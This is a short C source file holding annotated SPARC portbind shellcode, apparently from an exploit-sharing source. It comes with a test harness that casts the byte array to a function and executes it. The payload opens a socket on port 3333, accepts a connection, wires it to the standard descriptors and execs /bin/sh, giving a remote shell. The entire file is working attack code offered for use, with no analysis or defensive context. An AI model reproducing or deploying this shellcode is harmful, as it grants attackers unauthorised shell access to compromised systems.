/* * lhall@telegenetic.net * portbind shellcode * full description of how it was done and defines at * http://www.telegenetic.net/sparc-shellcode.htm */ char shellcode[]= "\x9A\x1A\x40\x09" /* xor %o1, %o1, %o5 */ "\x90\x10\x20\x02" /* mov PF_INET, %o0 */ "\x92\x10\x20\x02" /* mov SOCK_STREAM, %o1 */ "\x94\x10\x20\x06" /* mov IPPROTO_TCP, %o2 */ "\x96\x1A\x40\x09" /* xor %o1, %o1, %o3 */ "\x98\x22\x20\x01" /* sub %o0, 1, %o4 */ "\x82\x10\x20\xE6" /* mov SYS_SOCKET, %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\xA0\x1B\x40\x08" /* xor %o5, %o0, %l0 */ "\xC0\x23\xBF\xF4" /* st %g0, [%sp - 0xc] */ "\xA2\x10\x2D\x05" /* mov 3333, %l1 */ "\xE2\x33\xBF\xF2" /* sth %l1, [%sp - 0xe] */ "\xA2\x10\x20\x02" /* mov AF_INET, %l1 */ "\xE2\x33\xBF\xF0" /* sth %l1, [%sp - 0x10] */ "\x92\x23\xA0\x10" /* sub %sp, 0x10, %o1 */ "\x94\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %o2 */ "\x82\x10\x20\xE8" /* mov SYS_BIND, %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x90\x1B\x40\x10" /* xor %o5, %l0, %o0 */ "\x92\x1B\x40\x0C" /* xor %o5, %o4, %o1 */ "\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */ "\x82\x10\x20\xE9" /* mov SYS_LISTEN, %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\xA2\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %l1 */ "\xE2\x23\xBF\xDC" /* st %l1, [%sp - 0x24] */ "\x90\x1B\x40\x10" /* xor %o5, %l0, %o0 */ "\x92\x23\xA0\x20" /* sub %sp, 0x20, %o1 */ "\x94\x23\xA0\x24" /* sub %sp, 0x24, %o2 */ "\x96\x1B\x40\x0C" /* xor %o5, %o4, %o3 */ "\x82\x10\x20\xEA" /* mov SYS_ACCEPT, %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\xA4\x1B\x40\x08" /* xor %o5, %o0, %l2 */ "\x90\x1B\x40\x0C" /* xor %o5, %o4, %o0 */ "\x82\x10\x20\x06" /* mov SYS_CLOSE, %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */ "\x94\x02\x80\x0A" /* add %o2, %o2, %o2 */ "\x90\x1B\x40\x0A" /* xor %o5, %o2, %o0 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x92\x1A\x40\x09" /* xor %o1, %o1, %o1 */ "\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */ "\x82\x10\x20\x3E" /* mov SYS_FCNTL, %g1 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */ "\x94\x1A\x40\x09" /* xor %o1, %o1, %o2 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */ "\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */ "\x91\xD0\x20\x08" /* ta KERNEL */ "\x21\x0B\xD8\x9A" /* sethi %hi(0x2f626900), %l0 */ "\xA0\x14\x21\x6E" /* or %l0, %lo(0x16e), %l0 */ "\x23\x0B\xDC\xDA" /* sethi %hi(0x2f736800), %l1 */ "\xE0\x3B\xBF\xF0" /* std %l0, [%sp - 0x10] */ "\x90\x23\xA0\x10" /* sub %sp, 0x10, %o0 */ "\xD0\x23\xBF\xF8" /* st %o0, [%sp - 0x8] */ "\x92\x23\xA0\x08" /* sub %sp, 0x8, %o1 */ "\x94\x1A\x80\x0A" /* xor %o2, %o2, %o2 */ "\x82\x10\x20\x3B" /* mov SYS_EXECVE, %g1 */ "\x91\xD0\x20\x08"; /* ta KERNEL */ int main (int argc, char **argv) { int (*ret)(); ret = (int(*)())shellcode; (int)(*ret)(); exit(0); }